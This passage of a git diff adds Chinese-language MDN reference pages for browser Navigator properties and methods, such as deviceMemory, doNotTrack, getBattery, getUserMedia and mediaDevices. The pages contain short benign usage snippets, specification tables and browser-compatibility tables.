FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(51.0)}}
+
diff --git a/files/zh-cn/web/api/navigator/devicememory/index.html b/files/zh-cn/web/api/navigator/devicememory/index.html new file mode 100644 index 0000000000..b5c5948433 --- /dev/null +++ b/files/zh-cn/web/api/navigator/devicememory/index.html @@ -0,0 +1,41 @@ +--- +title: Navigator.deviceMemory +slug: Web/API/Navigator/deviceMemory +translation_of: Web/API/Navigator/deviceMemory +--- +

{{SeeCompatTable}}{{APIRef("Device Memory")}}

+ +

deviceMemory 只读属性返回千兆字节为单位的大概的机器内存。这个值是一个2的次方数除以1024,舍去小数点的近似值。并且,上下边界也用来保护那些拥有非常低端或者高端设备的用户的隐私。

+ +

语法

+ +
const memory = navigator.deviceMemory
+console.log ("This device has at least " + memory + "GiB of RAM.")
+
+ +

Value

+ +

一个浮点类型的数,0.25,0.5,1,2,4,8之一.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Memory','#sec-device-memory-js-api','deviceMemory')}}{{Spec2('Device Memory')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Navigator.deviceMemory")}}

diff --git a/files/zh-cn/web/api/navigator/donottrack/index.html b/files/zh-cn/web/api/navigator/donottrack/index.html new file mode 100644 index 0000000000..5b6535ae97 --- /dev/null +++ b/files/zh-cn/web/api/navigator/donottrack/index.html @@ -0,0 +1,90 @@ +--- +title: Navigator.doNotTrack +slug: Web/API/Navigator/doNotTrack +translation_of: Web/API/Navigator/doNotTrack +--- +

{{ ApiRef("HTML DOM") }}{{SeeCompatTable}}

+ +

概述

+ +

返回用户的do-not-track设置,如果用户不允许网站,内容和广告等进行跟踪,则该值为yes.

+ +

语法

+ +
dnt = navigator.doNotTrack;
+
+ +

navigator.doNotTrack的值并不是 HTTP请求中do-not-track请求头的值. 当do-not-track请求头发送的值为"1", navigator.doNotTrack 的值为 "yes".  当do-not-track请求头发送的值为unset, navigator.doNotTrack的值为"unspecified". 当do-not-track请求头发送的值为 "0" (Firefox目前不支持), navigator.doNotTrack的值为"no".

+ +

例子

+ +
dump(window.navigator.doNotTrack);
+//Firefox中:如果开启了DNT,输出"yes";否则输出"unspecified".
+
+ +

规范

+ +

Tracking Preference Expression (工作草案)

+ +

相关链接

+ + + +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}9125.1 on OS X 10.7
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ + + +

{{ languages( { "en": "en/DOM/navigator.doNotTrack" } ) }}

diff --git a/files/zh-cn/web/api/navigator/geolocation/index.html b/files/zh-cn/web/api/navigator/geolocation/index.html new file mode 100644 index 0000000000..89842d99bd --- /dev/null +++ b/files/zh-cn/web/api/navigator/geolocation/index.html @@ -0,0 +1,56 @@ +--- +title: Navigator.geolocation +slug: Web/API/Navigator/geolocation +tags: + - API + - HTTPS + - Navigator + - 参考 + - 地理位置 + - 地理位置 API + - 属性 +translation_of: Web/API/Navigator/geolocation +--- +

{{securecontext_header}}{{APIRef("Geolocation API")}}

+ +

Navigator.geolocation 只读属性返回一个 {{domxref("Geolocation")}} 对象,通过这个对象可以访问到设备的位置信息。使网站或应用可以根据用户的位置提供个性化结果。

+ +
+

注意: 出于安全考虑,当网页请求获取用户位置信息时,用户会被提示进行授权。注意不同浏览器在请求权限时有不同的策略和方式。Windows10在未开启定位的情况下无法获取位置

+
+ +

语法

+ +
geo = navigator.geolocation
+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation.geolocation')}}{{Spec2('Geolocation')}}初次定义
+ +

浏览器兼容性

+ + + +

{{ CompatibilityTable() }}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/navigator/getbattery/index.html b/files/zh-cn/web/api/navigator/getbattery/index.html new file mode 100644 index 0000000000..29b6b46c0d --- /dev/null +++ b/files/zh-cn/web/api/navigator/getbattery/index.html @@ -0,0 +1,103 @@ +--- +title: Navigator.getBattery() +slug: Web/API/Navigator/getBattery +translation_of: Web/API/Navigator/getBattery +--- +

{{ ApiRef("Battery API") }}

+ +

getBattery()方法提供了系统的电量信息,返回一个battery的promise对象,然后resolve后得到{{domxref("BatteryManager")}}对象,它提供了一些新的事件,以及方法供您监控电池的状态。这个方法实现了Battery Status API (查看更多细节以及使用方法和实例代码)

+ +

语法

+ +
navigator.getBattery().then(funcRef);
+ +

funcRef 是{{domxref("navigator.getBattery")}} 返回的battery promise对象被resolve后执行的函数,即回调函数。

+ +

相关规范

+ + + + + + + + + + + + + + + + +
规范状态阶段
{{SpecName("Battery API", "#widl-Navigator-getBattery-Promise-BatteryManager", "Navigator.getBattery")}}{{Spec2('Battery API')}}初试定义
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
浏览器ChromeFirefox (Gecko)Internet ExplorerOperaSafari
功能支持{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
+ {{CompatGeckoDesktop("43")}}[2]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
浏览器AndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
功能支持{{CompatNo}}{{CompatChrome(40.0)}} +

{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
+ {{CompatGeckoDesktop("43")}}[2]

+
{{CompatNo}}25{{CompatNo}}{{CompatChrome(42.0)}}
+
+ +

[1] 在 Firefox 10.0 被默认禁止, 但可以设置dom.battery.enabled = true来启用. 从Starting with Firefox 11.0开始, mozBattery 是默认启动的. UPower 安装后, Android, Windows, and Linux.就支持Battery API了。MacOS的支持是从Gecko 18.0 {{geckoRelease("18.0")}}开始的. fireFox依然支持已经被弃用 {{domxref("navigator.battery")}}.

+ +

[2] 全新的基于promise语法的{{domxref("Navigator.getBattery()")}}在FireFox 43 被支持。

+ +

请参见

+ + diff --git a/files/zh-cn/web/api/navigator/getgamepads/index.html b/files/zh-cn/web/api/navigator/getgamepads/index.html new file mode 100644 index 0000000000..454b4f4329 --- /dev/null +++ b/files/zh-cn/web/api/navigator/getgamepads/index.html @@ -0,0 +1,107 @@ +--- +title: Navigator.getGamepads() +slug: Web/API/Navigator/getGamepads +translation_of: Web/API/Navigator/getGamepads +--- +

{{APIRef("Gamepad API")}}{{SeeCompatTable}}

+ +

调用 Navigator.getGamepads() 方法会返回一个数组:第一个值为 null ,其他的值均为 {{ domxref("Gamepad") }} 对象,表示每一个与设备连接的游戏手柄。所以如果没有连接任何游戏手柄,这个方法将只会返回 null

+ +

语法

+ +
 var arrayGP = navigator.getGamepads();
+ +

样例

+ +
window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Gamepad', '', 'The Gamepad API specification')}}{{Spec2('Gamepad')}}初始定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support +

21.0 {{ property_prefix("webkit") }}
+ 35.0

+
{{CompatVersionUnknown}}{{ CompatGeckoDesktop("29.0") }} [1]{{ CompatNo() }} +

15.0 {{ property_prefix("webkit") }}
+ 22.0

+
{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
General support{{ CompatNo() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

[1] 自 Firefox 24 起可以通过偏好设置启用。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/navigator/getusermedia/index.html b/files/zh-cn/web/api/navigator/getusermedia/index.html new file mode 100644 index 0000000000..11d597fcfc --- /dev/null +++ b/files/zh-cn/web/api/navigator/getusermedia/index.html @@ -0,0 +1,198 @@ +--- +title: navigator.getUserMedia +slug: Web/API/Navigator/getUserMedia +translation_of: Web/API/Navigator/getUserMedia +--- +
+

Note: 此API已更名为 {{domxref("MediaDevices.getUserMedia()")}}。 请使用那个版本进行替代! 这个已废弃的API版本仅为了向后兼容而存在。

+
+ +

{{APIRef}}{{deprecated_header}}

+ +

Navigator.getUserMedia()方法提醒用户需要使用音频(0或者1)和(0或者1)视频输入设备,比如相机,屏幕共享,或者麦克风。如果用户给予许可,successCallback回调就会被调用,{{domxref("MediaStream")}}对象作为回调函数的参数。如果用户拒绝许可或者没有媒体可用,errorCallback就会被调用,类似的,PermissionDeniedError 或者NotFoundError对象作为它的参数。注意,有可能以上两个回调函数都不被调用,因为不要求用户一定作出选择(允许或者拒绝)。

+ +

语法

+ +
navigator.getUserMedia ( constraints, successCallback, errorCallback );
+ +

参数

+ +

constraints 

+ +

{{domxref("MediaStreamConstaints")}}对象指定了请求使用媒体的类型,还有每个类型的所需要的参数。具体细节请参见{{domxref("MediaDevices.getUserMedia()")}} 方法下面的constraints部分。

+ +

successCallback

+ +

当调用成功后,successCallback中指定的函数就被调用,包含了媒体流的{{domxref("MediaStream")}}对象作为它的参数,你可以把媒体流对象赋值给合适的元素,然后使用它,就像下面的例子一样:

+ +
function(stream) {
+   var video = document.querySelector('video');
+   video.src = window.URL.createObjectURL(stream);
+   video.onloadedmetadata = function(e) {
+      // Do something with the video here.
+   };
+}
+ +
+
+ +

errorCallback

+ +

当调用失败,errorCallback中指定的函数就会被调用,{{domxref("MediaStreamError")}}对象作为它唯一的参数;此对象基于{{domxref("DOMException")}}对象构建。错误码描述见参见以下:

+ + + + + + + + + + + + + + + + + + +
ErrorDescription
PermissionDeniedError使用媒体设备请求被用户或者系统拒绝
NotFoundError +

找不到constraints中指定媒体类型

+
+ +

示例

+ +

宽度和高度

+ +

使用getUserMedia()的示例,包括了可以适用于多种浏览器前缀的代码。注意这种使用方式已经被废除,现代的使用方法请参见{{domxref("MediaDevices.getUserMedia()")}} 下面的示例部分。

+ +
navigator.getUserMedia = navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia;
+
+if (navigator.getUserMedia) {
+   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
+      function(stream) {
+         var video = document.querySelector('video');
+         video.src = window.URL.createObjectURL(stream);
+         video.onloadedmetadata = function(e) {
+           video.play();
+         };
+      },
+      function(err) {
+         console.log("The following error occurred: " + err.name);
+      }
+   );
+} else {
+   console.log("getUserMedia not supported");
+}
+ +

权限

+ +

在一个可以安装的app(比如,Firefox OS app)中使用getUserMedia(),你需要在你的manifest文件中指定一个或者多个以下条目:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

参见 permission: audio-capture 和 permission: video-capture 以查看更多信息。

+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#navigatorusermedia-interface-extensions', 'navigator.getUserMedia')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容性

+ +
+

新代码应当使用 {{domxref("Navigator.mediaDevices.getUserMedia()")}} 替代.

+
+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support21{{property_prefix("webkit")}} [1]17{{property_prefix("moz")}} [3]{{CompatNo}}12 [2]
+ 18{{property_prefix("webkit")}}
{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic Support{{CompatUnknown}}{{CompatChrome(40.0)}}{{property_prefix("webkit")}} [2]24{{property_prefix("moz")}} [3]1.2{{property_prefix("moz")}} [4]
+ 1.4{{property_prefix("moz")}}
{{CompatNo}}12 [2]{{CompatNo}}{{CompatNo}}
+
+

[1] 新版的Chrome支持未带前缀的 {{domxref("MediaDevices.getUserMedia()")}}, 用以取代此已废弃版本.

+ +

[2] Chrome 和 Opera 仍然在使用已经过期的 constraint 语法, 但是此描述中的语法可以通过 adapter.js polyfill来使用.

+ +

[3]  在此描述的constraint 语法自 Firefox 38后可用. 更早的版本 (32-37) 使用了已经过期的语法, 但是此描述中的语法可以通过 adapter.js polyfill来使用.

+ +

[4] 在 Firefox OS 1.2中, 只有音频的到支持, 1.4 添加了视频支持.

+ +

更多参见 

+ + diff --git a/files/zh-cn/web/api/navigator/id/index.html b/files/zh-cn/web/api/navigator/id/index.html new file mode 100644 index 0000000000..c2d8597274 --- /dev/null +++ b/files/zh-cn/web/api/navigator/id/index.html @@ -0,0 +1,45 @@ +--- +title: Navigator.id +slug: Web/API/Navigator/id +translation_of: Archive/Navigator-id +--- +
{{ ApiRef("Persona") }}
+ +

{{ non-standard_header() }}

+ +
注意: 这个功能的支持还没有构建到任何浏览器中,使用 Persona 的网站必须包含托管在 https://login.persona.org/include.js 上的填充库。
+ +

概述

+ +

BrowserID 协议定义了 {{ domxref ("window.navigator")}} 对象上的一个新的 id 属性,通过这个属性暴露 BrowserID API。这个 API 已经经历了几个重要修订。下面独立列出了每代 API。

+ +

观察者 API(当前)

+ +

观察者 API 引入了非常请求化的特性,诸如一个为新手用户改进的提交-验证体验、自动持久化登入和更简单的本地应用集成。

+ +
+
{{ domxref("navigator.id.watch()")}}
+
登记在用户登入或登出网站时调用的回调。
+
{{ domxref("navigator.id.request()")}}
+
从用户请求一个签名的身份断言。
+
{{ domxref("navigator.id.logout()")}}
+
把用户登出网站并阻止 onlogin 行为在他们下次访问时触发。
+
+ +

回调 API(当前)

+ +

回调 API 在 2011 年 11 月被引入。它通过允许传递给 navigator.id.get()和提供 BrowserID 管理的持久会话的实验性支持改进了初始的 API。

+ +
+
{{ domxref("navigator.id.get()")}}
+
Gets the user's BrowserID in a signed assertion.
+
+ +

VerifiedEmail API(弃用)

+ +

VerifiedEmail API 是 BrowserID 的第一个 API。它在 2011 年末被弃用。

+ +
+
{{ domxref("navigator.id.getVerifiedEmail()")}} {{ deprecated_inline() }}
+
在一个签名的断言里获取用户的 BrowserID。这个方法已经弃用了;{{ domxref("navigator.id.get()")}} 是向后兼容的替代方法。
+
diff --git a/files/zh-cn/web/api/navigator/index.html b/files/zh-cn/web/api/navigator/index.html new file mode 100644 index 0000000000..a68d752556 --- /dev/null +++ b/files/zh-cn/web/api/navigator/index.html @@ -0,0 +1,172 @@ +--- +title: Navigator +slug: Web/API/Navigator +tags: + - API + - DOM4 + - Navigator + - 接口 +translation_of: Web/API/Navigator +--- +

{{apiref("DOM4")}}

+ +

Navigator 接口表示用户代理的状态和标识。 它允许脚本查询它和注册自己进行一些活动。

+ +

可以使用只读的 {{domxref("window.navigator")}} 属性检索navigator对象。

+ +

属性

+ +

不从{{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorGeolocation")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, 和 {{domxref("NetworkInformation")}} 中继承任何属性,但是实现了定义在这些对象中的如下属性。

+ +

标准属性

+ +
+
{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}{{experimental_inline}}
+
筛选所有的 {{domxref("VRDisplay")}} 对象,把其中所有{{domxref("VRDisplay.ispresenting")}}属性的值为true的对象以数组的形式返回。 
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}
+
返回当前浏览器的内部“开发代号”名称。 不能保证此属性返回的值是正确的。
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{deprecated_inline}}
+
以 {{domxref("DOMString")}} 的形式返回浏览器官方名称。 不能保证此属性返回的值是正确的。
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{deprecated_inline}}
+
以 {{domxref("DOMString")}} 的形式返回浏览器版本。不能保证此属性返回的值是正确的。
+
{{domxref("Navigator.battery")}} {{readonlyInline}}{{deprecated_inline}}
+
返回一个 {{domxref("BatteryManager")}} 对象,你可以用它来获取一些电池充电状态的信息。
+
{{domxref("Navigator.connection")}} {{readonlyInline}}{{experimental_inline}}
+
提供一个{{domxref("NetworkInformation")}}对象来获取设备的网络连接信息。
+
{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}
+
当忽略 cookie 时返回 false,否则返回 true
+
{{domxref("Navigator.geolocation")}} {{readonlyInline}}
+
返回一个 {{domxref("Geolocation")}} 对象,据之可访问设备的地理位位置信息。
+
{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readOnlyInline}}
+
返回可用的逻辑处理器核心数。
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}
+
返回{{domxref("Boolean")}}表明浏览器是否支持Java。
+
{{domxref('Navigator.keyboard')}} {{readonlyinline}} {{experimental_inline}}
+
返回一个{{domxref("Keyboard")}}对象,该对象提供对以下功能的访问:检索键盘布局图和切换从物理键盘捕获按键的功能。
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
返回{{domxref("DOMString")}}表示用户的首先语言,通常是浏览器用户界面的语言。当未知的时,返回null。
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
 返回一个表示用户已知语言的{{domxref("DOMString")}}数组,并按优先顺序排列。
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}
+
{{domxref("Navigator.locks")}} {{readonlyinline}}{{experimental_inline}}
+
Returns a {{domxref("LockManager")}} object which provides methods for requesting a new {{domxref('Lock')}} object and querying for an existing {{domxref('Lock')}} object
+
{{domxref("Navigator.mediaCapabilities")}} {{readonlyinline}}{{experimental_inline}}
+
Returns a {{domxref("MediaCapabilities")}} object that can expose information about the decoding and encoding capabilities for a given format and output capabilities.
+
{{domxref("Navigator.maxTouchPoints")}} {{readonlyInline}}
+
Returns the maximum number of simultaneous touch contact points are supported by the current device.
+
返回{{domxref("MimeTypeArray")}}数组用于列举浏览器所支持的MIME类型。
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
返回{{domxref("Boolean")}}来表明浏览器是否联网。
+
{{domxref("Navigator.oscpu")}}
+
返回当前操作系统名。
+
{{domxref("Navigator.permissions")}} {{readonlyinline}}{{experimental_inline}}
+
返回一个{{domxref("Permissions")}}对象,该对象可用于查询和更新Permissions API涵盖的API的权限状态。
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}
+
返回浏览器平台名,不确定此值是否有效。
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}
+
返回{{domxref("PluginArray")}}数组用于列举出浏览器安装的插件。
+
{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}
+
在任意浏览器下都只返回'Gecko',此属性只用于兼容的目的。
+
{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}
+
返回{{domxref("ServiceWorkerContainer")}} 对象用于提供注册、删除、更新以及为了associated document的{{domxref("ServiceWorker")}}对象之间的通信。
+
{{domxref("NavigatorStorage.storage")}} {{readonlyinline}}
+
Returns the singleton {{domxref('StorageManager')}} object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
返回当前浏览器的用户代理。
+
{{domxref("Navigator.webdriver")}} {{readonlyInline}} {{experimental_inline}}
+
+ +

非标准方法

+ +
+
{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}
+
返回浏览器识别码。这一方法返回时间戳,例如,在Firefox 64发行版中返回"20181001000000"。.
+
{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}
+
返回布尔值以表明cookies是否能再浏览器中启用
+
{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}
+
报告用户的不追踪参数值,当值为yes,你的网址或应用将不追踪用户
+
{{domxref("navigator.id")}} {{non-standard_inline}}
+
返回 {{domxref("window.navigator.id", "id")}} 对象, 你能用 BrowserID 添加支持 到你的网址
+
{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}
+
Returns an {{domxref("window.navigator.mozApps", "Apps")}} object you can use to install, manage, and control Open Web apps.
+
{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}
+
The navigator.mozAudioChannelManager object provides access to the {{domxref("mozAudioChannelManager")}} interface, which is used to manage your Firefox OS device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.
+
{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}
+
Returns a {{domxref("navigator.mozNotification", "notification")}} object you can use to deliver notifications to the user from your web application.
+
{{domxref("navigator.mozSocial")}} {{non-standard_inline}}
+
The Object, returned by the navigator.mozSocial property, is available within the social media provider's panel to provide functionality it may need.
+
{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}
+
Returns the build number of the current browser (e.g., "20060909").
+
{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}
+
Returns an empty string. In Netscape 4.7x, returns "US & CA domestic policy" or "Export policy".
+
{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}
+
Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.
+
{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}
+
返回当前浏览器的供应商的名字(例如:“Netscape6”)。
+
{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}
+
返回供应商版本号码(例如:“6.1”)。
+
navigator.webkitPointer {{non-standard_inline}}
+
Returns a PointerLock object for the Mouse Lock API.
+
+ +

方法

+ +

Doesn't inherit any method, but implements those defined in {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, and {{domxref("NavigatorStorageUtils")}}.

+ +

标准方法

+ +
+
{{domxref("Navigator.getVRDisplays()")}} {{deprecated_inline}}
+
Returns a promise that resolves to an array of {{domxref("VRDisplay")}} objects representing any available VR devices connected to the computer.
+
{{domxref("NavigatorUserMedia.getUserMedia()")}}{{deprecated_inline}}
+
After having prompted the user for permission, returns the audio or video stream associated to a camera or microphone on the local computer.
+
{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}
+
Allows web sites to register themselves as a possible handler for a given MIME type.
+
{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}
+
Allows web sites to register themselves as a possible handler for a given protocol.
+
{{domxref("Navigator.requestMediaKeySystemAccess()")}} {{experimental_inline}}
+
Returns a {{jsxref("Promise")}} for a MediaKeySystemAccess object.
+
{{domxref("Navigator.sendBeacon()")}}{{experimental_inline}}
+
Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.
+
{{domxref("Navigator.share()")}}{{experimental_inline}}
+
Invokes the native sharing mechanism of the current platform.
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}
+
Returns false. JavaScript taint/untaint functions removed in JavaScript 1.2.
+
{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}
+
Causes vibration on devices with support for it. Does nothing if vibration support isn't available.
+
+ +

非标准方法

+ +
+
{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}
+
Lets code check to see if the document at a given URI is available without using the network.
+
{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}
+
Allows in-app payment.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#the-navigator-object', 'the Navigator object')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +
{{Compat("api.Navigator")}}
diff --git a/files/zh-cn/web/api/navigator/keyboard/index.html b/files/zh-cn/web/api/navigator/keyboard/index.html new file mode 100644 index 0000000000..1db37aaa2f --- /dev/null +++ b/files/zh-cn/web/api/navigator/keyboard/index.html @@ -0,0 +1,41 @@ +--- +title: Navigator.keyboard +slug: Web/API/Navigator/keyboard +translation_of: Web/API/Navigator/keyboard +--- +
{{SeeCompatTable}}{{APIRef("Keyboard API")}}
+ +

The keyboard read-only property of the {{domxref("navigator")}} interface returns a {{domxref('Keyboard')}} object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.

+ +

语法

+ +
var keyboard = navigator.keyboard
+ +

Value

+ +

一个 {{domxref('Keyboard')}} 对象.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Keyboard Map','#navigator-interface','keyboard')}}{{Spec2('Keyboard Map')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.navigator.keyboard")}}

diff --git a/files/zh-cn/web/api/navigator/maxtouchpoints/index.html b/files/zh-cn/web/api/navigator/maxtouchpoints/index.html new file mode 100644 index 0000000000..49e0d303ba --- /dev/null +++ b/files/zh-cn/web/api/navigator/maxtouchpoints/index.html @@ -0,0 +1,100 @@ +--- +title: Navigator.maxTouchPoints +slug: Web/API/Navigator/maxTouchPoints +translation_of: Web/API/Navigator/maxTouchPoints +--- +
{{apiref("HTML DOM")}}
+ +
返回当前设备能够支持的最大同时触摸的点数。
+ +
 
+ +

语法

+ +
touchPoints = navigator.maxTouchPoints;
+
+ +

样例

+ +
if (navigator.maxTouchPoints > 1) {
+  // 浏览器支持多点触控
+}
+
+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#extensions-to-the-navigator-interface', 'maxTouchPoints')}}{{Spec2('Pointer Events 2')}}Non-stable version.
{{SpecName('Pointer Events', '#extensions-to-the-navigator-interface', 'maxTouchPoints')}}{{Spec2('Pointer Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("35")}}[1]{{CompatGeckoDesktop("29")}}[2]10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatChrome("35")}}[1]{{CompatGeckoMobile("29")}}[2]10 {{property_prefix("-ms")}}
+ 11
{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] This was implemented in bug 248918.

+ +

[2] Gecko supports this feature behind the preference dom.w3c_pointer_events.enabled, defaulting to false.

diff --git a/files/zh-cn/web/api/navigator/mediadevices/index.html b/files/zh-cn/web/api/navigator/mediadevices/index.html new file mode 100644 index 0000000000..f8df63585c --- /dev/null +++ b/files/zh-cn/web/api/navigator/mediadevices/index.html @@ -0,0 +1,115 @@ +--- +title: Navigator.mediaDevices +slug: Web/API/Navigator/mediaDevices +tags: + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - Navigator + - Reference + - Web + - 只读 + - 属性 +translation_of: Web/API/Navigator/mediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +
 
+ +
mediaDevices 是 Navigator 只读属性,返回一个 {{domxref("MediaDevices")}} 对象,该对象可提供对相机和麦克风等媒体输入设备的连接访问,也包括屏幕共享。
+ +

语法

+ +
var mediaDevices = navigator.mediaDevices;
+
+ +

 返回值

+ +

{{domxref("MediaDevices")}} 是一个单例对象。通常,您只需直接使用此对象的成员,例如通过调用{{domxref("navigator.mediaDevices.getUserMedia()")}}。

+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("36.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
